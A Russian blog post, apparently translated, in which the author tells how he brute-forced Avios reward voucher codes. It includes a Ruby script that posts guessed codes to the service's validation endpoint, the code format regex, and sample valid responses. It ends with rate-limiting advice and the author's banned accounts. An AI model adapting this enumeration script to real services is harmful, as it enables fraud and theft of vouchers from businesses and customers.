Если вы похожи на меня, то наверняка размышляли над идеей путешествовать по миру первым классом на халяву, смотрели YouTube и знаете о таких людях.

Это история о том, как я нашел ошибку в программе вознаграждений Avios Travel, который позволяет исполнить эту мечту*.

Пару недель назад я слетал в Нью-Йорк. Поскольку это моё первое посещение Штатов и первый трансатлантический перелёт, я то я был преисполнен энтузиазма. Вы бы тоже задали себе такие же вопросы:

Можно ли мне перейти в первый класс? Как это сделать? Что сказать? Как не выглядеть уродом, когда я обращусь с такой просьбой?

Увы, только добравшись до аэропорта вы поймёте, что процесс регистрации по большей части автоматизирован. Ваши шансы попросить прекрасную девушку на стойке о бесплатном апгрейде исчезающе малы. Но это заставило меня задуматься, как же люди это делают?


Aer Lingus Aer Club


British Airways Executive Club

Добро пожаловать в программы лояльности авиакомпаний.

Ничего экстраординарного. Люди давно знают о программах лояльности. Но у Avios есть кое-что уникальное. Так что это такое?

Баллы Avios — это общие баллы вознаграждений, которые принимаются в Aer Lingus, British Airways, Flybe, Iberia, kulula.com и Meridiana. Собирая баллы Avios в самолётах, отелях и прокате автомобилей, вы можете выбрать бонусные полёты по сотням направлений по всему миру.

После регистрации в программах лояльности Aer Lingus и British Airways я наткнулся на этот сайт. Это просто форма, которая позволяет клиенту ввести информацию о своем членстве, некоторые личные данные и код вознаграждения, который был ему отправлен. Вот здесь становится интересно.

Реализация



Пример уже использованного кода

Моё внимание сразу привлекли две вещи. Во-первых, из формы было видно, что на фронтенде выполняется простая проверка регулярных выражений для проверки соответствия формата. Во-вторых, во время ввода кода немедленно отображается, действителен ли он. Это выполняется через запрос AJAX.

Инструменты разработчика Chrome показали, что сетевые запросы для проверки кода уходят на этот URL. Потом мне пришла в голову мысль. Если я знаю формат кодов и я знаю конечную точку для проверки кода, то могу ли я создать 1000 случайных кодов в этом формате, а затем написать скрипт для их перебора и проверки?

Ответ: да, могу.

#!/usr/bin/ruby
require ‘httparty’
require ‘byebug’
url = “https://www.aviosvouchers.com/en/Collect/ValidateCode"
# [a-zA-Z]{3}[0–9]{3}[a-zA-Z]{1}
puts “Running Script…”
File.open(‘codes.txt’, ‘r’).each_line do |line|
 data = line.split(/\t/)
 code = data.first.delete!(“\n”)
 request = HTTParty.post(url, body: {code: code.to_s})
 json = JSON.parse(request.body)
 puts “#{json} — #{code.to_s}” if json[‘value’] > 0
 sleep(0.5)
end
puts “Finished Running Script.”

Этот скрипт читает список сгенерированных кодов в текстовом файле (вы можете генерировать коды на основе собственных регулярных выражений или использовать что-то вроде инструмента text-from-regex). Затем он отправляет POST-запрос на указанный URL. Если мы получаем валидный ответ (обычно, когда атрибут значения больше нуля), то отправляем ответ в CLI, и затем после небольшой паузы делаем следующий запрос.

Что получается в результате? Список ПРАВИЛЬНЫХ КОДОВ! (По очевидным причинам я изменил правильные значения ниже).

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5007652532665", “value”=>10000.0, “itemId”=>nil} — JCX328W
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7186731101111", “value”=>10000.0, “itemId”=>nil} — MYS272Y
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7409825562501", “value”=>1500.0, “itemId”=>nil} — XSL523V
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”2504822562501", “value”=>1500.0, “itemId”=>nil} — SYZ436G
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”8476533219878", “value”=>20000.0, “itemId”=>nil} — PEG924R
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”4318675747654", “value”=>500.0, “itemId”=>nil} — AHC939A
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”6509522562501", “value”=>1500.0, “itemId”=>nil} — JGZ792E
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5904736483764", “value”=>500.0, “itemId”=>nil} — DMB882D


После нескольких дней работы скрипта я получил множество валидных кодов, а после добавления этих кодов мой аккаунт выглядел так.


Скриншот учётной записи BA

215 010 баллов Avios. Да, это очень много. Настолько, что я могу полететь из Лондона в Индонезию первым классом всего за 500 фунтов. Во мне пробудилась надежда, что мои мечты наконец-то воплотятся в реальность.

Но мечты не воплотились в реальность


Через некоторое время я начал сомневаться в законности таких действий. Если я забронирую рейс и использую эти баллы, каковы будут последствия? Здравый смысл в итоге победил, так что я решил уведомить Avios о проблеме, прежде чем публиковать эту информацию. Но похоже, что они исправили баг раньше, чем я успел сообщить.


Конечная точка для проверки кодов более не доступна

На сайте больше нет мгновенной проверки кодов. Теперь для проверки нужно отправить целую форму со страницы. Кроме того, они похоже заметили меня и забанили мой аккаунт…

(Они также забанили мой аккаунт Aer Lingus, так что я не успел там сделать скриншот).


Забаненный аккаунт BA

В заключение


Какие технические выводы можно сделать из этого? Как можно было развернуть систему с самого начала, чтобы избежать проблемы? На самом деле это несложно: нужно всего лишь ограничить количество и/или частоту запросов к конечной точке и сделать коды недерминированными, чтобы их было сложнее угадать.

  1. Лимит на запросы.
  2. Переменные и недетерминированные коды.

Наконец, если кто-то из Avios, British Airways или Aer Lingus читает это, я буду очень благодарен, если они разблокируют мои учётные записи. Я хотел бы продолжить накапливать настоящие бонусные очки, как любой нормальный человек.

*Дополнение


Я получил тонну сообщений на эту тему, так что позвольте внести ясность. Понимаю, почему люди предполагают, что я действовал злонамеренно с самого начала. Могу со всей искренностью заверить, что это не так, хотя вряд ли многие мне поверят. Тот факт, что я использовал найденные коды, связан скорее с волнением и азартом.

Комментарии (1)


  1. SanSYS
    28.04.2018 17:33

    Им бы вполне мог помочь Throttling pattern

    Эх, а я то надеялся, что вас наградили милями за найденный баг )